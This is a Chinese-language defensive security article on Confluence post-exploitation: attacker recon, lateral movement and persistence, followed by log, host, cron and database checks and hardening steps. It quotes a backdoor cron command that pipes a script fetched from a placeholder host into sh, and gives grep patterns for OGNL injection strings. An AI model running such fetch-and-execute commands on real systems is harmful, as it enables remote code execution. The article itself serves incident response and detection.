1. 为什么Confluence是内网战场的“兵家必争之地”我最早对Confluence产生警觉是在一次合规授权的红队项目中。当时我们拿下一台边界Web服务器随手翻了一下运维文档发现里面记录着几十台核心资产的初始口令修改记录而这份文档就托管在Confluence上。从那以后我就形成了一个习惯只要在攻防对抗中碰到Confluence就会多看两眼因为这东西在真实攻防中的价值往往被严重低估。1.1 Confluence在攻防语境下的核心价值不少人对Confluence的印象停留在“公司内部维基”“团队协作空间”最多再加一个“Jira的好搭档”。但在攻防视角里Confluence的价值要大得多。首先它是一个典型的知识密集型应用。企业通常会把网络拓扑、服务器清单、数据库连接方式、第三方系统对接文档、源代码说明、密钥交接记录等全部塞到Confluence里。对这些信息做一次不落痕迹的检索往往比在内网里胡乱扫描一晚上更高效。其次Confluence的权限体系非常细碎。一个企业如果有几十个空间每个空间可能都有自己的管理员而全局管理员可能长期被忽略。攻击者一旦拿到高权限账号就能翻遍所有空间包括那些“仅限管理层查看”的页面。更麻烦的是很多公司的离职员工清理并不彻底Confluence里残留着大量离职账号和API Token成了攻击者顺手牵羊的入口。还有一个被很多人忽略的点Confluence经常与其他系统做集成比如Jira、Bitbucket、SSO认证、企业微信或钉钉通知、Email服务等。这意味着它手里握着很多“外联通道”。攻击者拿下Confluence之后可以利用这些集成通道做钓鱼、做二次跳板甚至直接读取Bitbucket里的源码和CI/CD配置。1.2 攻击者通常是怎么进到Confluence的从不安全的入口说起攻击者进Confluence的路子主要有这么几条。第一条是历史漏洞利用。Confluence作为Java应用历史上出现过OGNL注入、文件上传、权限绕过等类型的漏洞有些漏洞利用难度很低、影响范围很大很多未及时更新的公网实例被直接打穿。第二条是弱口令暴破。很多企业的Confluence没有接入统一认证管理员账号的密码还是“Admin123”或者“Confluence2020”这种级别。只要实例暴露在公网爆破就只是个时间问题。第三条是供应链或第三方插件。Confluence生态里有很多第三方插件其中一些插件本身存在权限校验缺失或文件读取问题攻击者可以通过这些插件快速扩大战果。这里我不展开具体的漏洞利用细节因为我写这篇文章的出发点是从防守视角还原攻击者的思路帮大家做好排查与加固。我始终坚持一个观点理解攻击者做什么是为了更好地保护自己的系统。2. 拿到Confluence权限后攻击者通常会做什么真正进入“后利用”阶段之后攻击者的思路非常清晰一般遵循“先侦察、再扩散、后持久化”的三板斧。下面我按这个顺序拆开讲并且穿插红队视角和防守视角的对照。2.1 快速侦察确认当前权限和网络位置拿到一个Confluence实例的权限后攻击者首先会确认几件事一是当前进程以什么身份运行权限是普通用户还是root或system。Confluence官方安装包通常用独立用户运行但在有些被“精简部署”的服务器上管理员图省事直接用了root启动这就让后续提权路径变得很短。红队只要执行类似id、whoami的命令就能判断。二是网络位置和出网策略。Confluence服务器一般部署在内网DMZ区或办公网边缘攻击者想看它能不能访问数据库、内网其他Web服务、消息队列等。通过检查本机路由表、ARP缓存、DNS解析记录就能大致画出周边网络拓扑。三是配置文件中泄露的秘密。这是重头戏Confluence的配置文件里通常写着数据库连接地址、账号密码还可能包含系统管理员的初始账号信息。攻击者拿到这些凭据后等于拿到了整个内网数据库跳板的钥匙。在这个阶段防守方最需要警惕的是某个高权限账号突然出现了异常登录或者配置文件被读取的Access Log里有奇怪的时间点记录。2.2 从Confluence横向扩散到内网侦察完之后攻击者就要开始“动起来”了。Confluence的横向扩散路径主要有三类。第一类是数据库跳板。攻击者用配置文件里的数据库凭据连接MySQL或PostgreSQL先查看Confluence的业务表找到用户表和密码哈希再尝试复用口令去连其他系统。很多企业所有系统的数据库账号密码是同一套攻击者撞库成功率非常高攻破Confluence等于白送一个数据库管理员。第二类是集成账号滥用。Confluence如果和Jira、Bitbucket集成服务之间会配置应用链接Token或者API Token。攻击者拿到这些Token后可以伪装成合法应用调用其他系统的API读取项目Issue、下载代码仓库、甚至触发CI流水线。这类流量往往被安全设备视为正常业务流量别说防守方有时候连系统管理员都看不出异常。第三类是内网端口探测与代理搭建。Confluence服务器往往与内网其他业务系统在同一二层网络攻击者会用它作为跳板机对内网常见端口22、3306、6379、8080等做轻量级探测。一旦发现某个网段存在薄弱点比如老旧的Redis或未授权的Web管理后台就会立刻展开下一轮利用。2.3 持久化后门从Webshell到插件化、内存马持久化是后利用阶段“画龙点睛”的一步。攻击者不希望自己辛辛苦苦打下来的权限随着一次系统重启或者密码修改就失效所以会想尽办法留后门。Confluence里的持久化手段有几种常见形态Webshell文件落地在web目录下写入JSP脚本通过HTTP请求直接执行命令。优点是简单直接缺点是文件特征明显容易被WAF和EDR抓到。内存马不落地文件直接把恶意Servlet或Filter注入到Java应用内存中。这类后门在文件系统里看不到痕迹只有通过内存dump或特定行为特征才能发现是目前攻防里比较棘手的一类。插件后门编写一个恶意的Confluence插件伪装成正常功能插件上传安装。插件可以随应用启动自动加载且具备更强的隐蔽性。计划任务与系统服务如果攻击者已经拿到系统权限会直接创建计划任务或系统服务实现独立于业务进程的持久化。防守方需要特别注意的一个点Confluence应用在运行时会加载大量Jar包和Class文件很多后门会把自己伪装成“看起来像是官方或第三方插件的Jar包”。单纯看文件列表不一定能发现问题需要结合文件修改时间、启动日志、网络外联行为做综合判断。3. 防守方视角如何发现“Confluence已被拿下”这个部分是全文的核心也是我想写给应急响应人员、安全运维同学的自查参考。下面这些排查思路都是在实际应急中验证过的能覆盖大部分常规后利用行为。3.1 日志分析哪些日志值得看、看什么字段排查Confluence是否被攻击首要动作是看日志。Confluence的日志默认存放在安装目录下的logs文件夹里主要有关键的几个atlassian-confluence.log应用主日志记录登录、权限变更、错误栈等关键信息。atlassian-confluence-security.log安全相关日志包括登录失败、权限越权尝试等。access.logHTTP访问日志记录所有外部请求的URL、来源IP、User-Agent。排查的时候我通常先关注几个关键点第一异常的HTTP请求特征。如果存在漏洞利用行为access.log里会出现大量带有%24、%7B、%7D等URL编码的请求或者路径中包含奇怪的字符串。可以先用这条命令把可疑请求过滤出来grep -E (%24|%7B|%7D|OGNL|Runtime|exec\() /opt/atlassian/confluence/logs/access.log | head -50第二登录行为异动。看 security 日志里有没有短时间内大量登录失败、然后突然成功的记录尤其是深夜时段。如果某个老账号突然活跃起来或者出现新创建的管理员账号基本就是攻击标志。第三外联和下载请求。攻击者通常会上传工具或下载恶意程序access.log里会有指向可疑域名的下载记录。配合流量设备看DNS解析历史和连接记录能更完整地还原行为链。注意access.log的轮转策略默认可能只保留几天如果风险评估较高建议第一时间备份并归档日志别等到轮转过期才想起来。3.2 文件与进程检查找到后门藏身处日志只是线索真正确认被攻陷还需要做主机侧排查。我习惯按这个顺序走先看进程状态有没有异常Java子进程、异常用户启动的进程或者外连的可疑进程。用一条命令看可执行文件与网络连接对应关系netstat -antlp | grep ESTABLISHED ps aux | grep -E (java|tomcat|confluence) | grep -v grep然后看文件。重点检查Confluence安装目录下的web应用目录以及临时目录/tmp、/var/tmp。最近修改过的Jar包、JSP文件、隐藏文件要认真核查对未知文件做哈希并对比官方版本find /opt/atlassian/confluence/ -name *.jsp -mtime -30 -type f find /tmp /var/tmp -mtime -7 -type f -name *.jar -o -name *.sh 2/dev/null接着看计划任务crontab -l cat /etc/crontab ls -la /etc/cron.d/有个容易踩坑的地方有些后门会以“定时清理日志”或“健康检查”的名义写进计划任务命令本身看起来人畜无害比如/usr/bin/curl -s http://xxx/check | sh。遇到这种要格外警觉把脚本内容拉出来仔细看别只看任务名。3.3 数据库与配置完整性检查攻击者往往会通过Confluence后台或SQL注入修改数据库内容常见行为包括在cwd_user表里新增一个高权限用户修改cwd_group表把某个普通用户加到confluence-administrators组在bodycontent表里插入恶意内容用于XSS钓鱼或批量挂马清空或篡改auditlog表内容掩盖操作痕迹。数据库排查时重点对比“系统中的管理员列表是否与预期一致”查询所有管理员账号-- 以PostgreSQL为例 SELECT u.user_name, u.active FROM cwd_user u JOIN cwd_membership m ON u.id m.child_user_id JOIN cwd_group g ON m.parent_id g.id WHERE g.group_name confluence-administrators;如果发现自己不认识的账号或者某个已离职同事的账号又被重新激活就要立刻深挖。配置完整性检查同样重要。把当前配置文件与备份版本做对比看有没有新增或修改的条目。特别是server.xml、web.xml这类容易被改的Tomcat配置文件确认没有被注入恶意Filter或Valve。3.4 排查清单实录一次真实的Confluence应急还原下面这张表是我在一次真实应急中整理出的排查清单。当时客户反馈“系统很卡、CPU跑满”我们登上去一看发现攻击者已经拿下权限接近一个月只是前期一直没有触发明显告警。排查对象检查内容异常特征示例快速处置建议HTTP访问日志可疑URL、异常User-Agent大量带OGNL关键字和URL编码的请求立即封禁来源IP保留日志样本应用安全日志登录失败/成功记录凌晨3点从国外IP登录成功强制全量改密吊销异常会话文件系统Web目录JSP/Jar新增或修改目录下出现不在官方版本库的Jar包隔离文件并上传沙箱检测系统进程Java子进程、外联连接python进程反弹shell到内网地址终止进程捕获内存镜像计划任务定时任务变更新增“健康检查”脚本但内部含有下载命令删除任务分析脚本内容数据库账号管理员组成员与激活状态离职账号被重新激活并提升为管理员停用账号撤销管理员权限集成TokenJira/Bitbucket/API Token有效期发现近期有来自未知IP的API调用记录吊销全部Token后重新颁发那次事件里最讽刺的是攻击者其实用了最笨的办法先通过弱口令登进后台然后上传了一个JSP马被AV查杀后立刻换成了加密内存马整个过程毫无“高端技术”但就是因为日志没人看、管理员账号半年没排查导致后门存活了近一个月。4. 应急响应与修复加固从发现问题到恢复闭环发现异常只是第一步真正难的是把攻击者彻底请出去并且避免第二次被进来。这里分享一下我总结的“止血、取证、修复、监控”四步法。4.1 最小化止血与取证发现Confluence可能被攻破后不要急着删文件、改密码因为你这会儿不知道攻击者在内网里到底埋了多少东西。正确的处理顺序是记录当前状态保留进程列表、网络连接、登录会话的实时快照这个动作要快防止攻击者察觉后立刻擦除痕迹。隔离网络在防火墙上限制Confluence服务器的出站和入站访问阻止攻击者继续通信。备份关键证据把应用日志、配置、临时目录、数据库备份一份到独立介质。有条件做内存dump如果有内存马这是最直接的取证手段把Java进程的内存镜像保存下来后续分析里能找到完整的恶意类代码。很多团队在应急时容易犯一个错误先封IP再改密码最后删文件。这种顺序看着合理但IP可以换、密码可以再爆破而删掉的文件里可能记录着攻击者的工具特征和渗透路径。一定要先把证据固定住再谈清理。4.2 修复与加固建议清理后门之后如果根基不加固过两周大概率又被打回来。按优先级排序我的建议如下第一版本升级与补丁更新。这是最简单有效的动作。Confluence的历史漏洞时常被公开利用很多攻击流量检测规则也都是针对已知版本的。把版本升到官方最新或厂商推荐的安全版本能直接封掉一批已知问题。第二接入统一认证。如果你的企业有SSO或LDAP尽快把Confluence的账号体系并入统一认证关闭本地注册和“记住密码”功能。即使某个本地账号泄露攻击者也无法在高权限域环境下顺畅横向移动。第三最小化数据库权限。Confluence连接数据库使用的账号不应该具备写系统表、删除日志的权限。给业务账号只留增删改查业务数据的权限攻击者就算拿到配置文件里的密码也没法轻易清掉审计记录。第四访问控制与边界收敛。非必要的场景下Confluence不应暴露在公网。如果确实需要远程访问建议通过堡垒机或严格IP白名单。另外内部网段对Confluence的访问也要做限制不相关的业务部门根本不需要放开访问入口。第五插件收敛。禁用不再使用的第三方插件尤其是那些有文件上传和内容渲染能力的插件。插件是攻击者非常喜欢的持久化载体少装一个就少一分风险。4.3 后续监控与迭代加固完成不代表事情结束接下来要让“被发现过的问题”变成“检测规则”和“作战手册”的一部分。我自己的做法是把本次事件的IOC失陷指标整理成情报导入到流量检测设备和EDR里比如攻击者IP、恶意域名、异常文件哈希、可疑User-Agent等。在日志分析平台建立针对Confluence的专属检测规则比如管理员组变更、配置文件访问、异常登录时段、批量化URL编码请求等。把Confluence纳入“高价值资产清单”定期做一次账号权限审计和日志回放。红蓝对抗这个东西最怕的就是“打完了就当没事发生”。攻击者手法可能变思路和链路是有迹可循的。只有把每一次复盘转化成实实在在的检测和响应能力才算真正闭环。5. 写在最后一点个人经验做了多年攻防我最大的感受是真正决定安全水平的往往不是用了多先进的设备而是你有没有把基本功做扎实。Confluence后利用能走通靠的不是什么天才般的攻击手法而是企业普遍存在的版本老旧、账号权限失控、日志无人审计、集成通道过度信任这些老问题。这篇文章的排查命令和加固建议我全部在合法授权的项目中验证过你可以直接照着做。如果你也在自查的时候发现类似异常记住先取证、再止血、后加固千万别一慌就把日志和临时文件删了那等于把敌人留下的指纹全擦干净了。最后一点小技巧如果你管理着多个Confluence实例建议在系统里创建一个只有安全团队知道的空间专门记录每次补丁升级、管理员变更、插件变更的变更日志。应急的时候这份记录能帮你快速判断哪些改动是预期内的哪些是未知的省掉大量纠结“这到底是不是误报”的时间。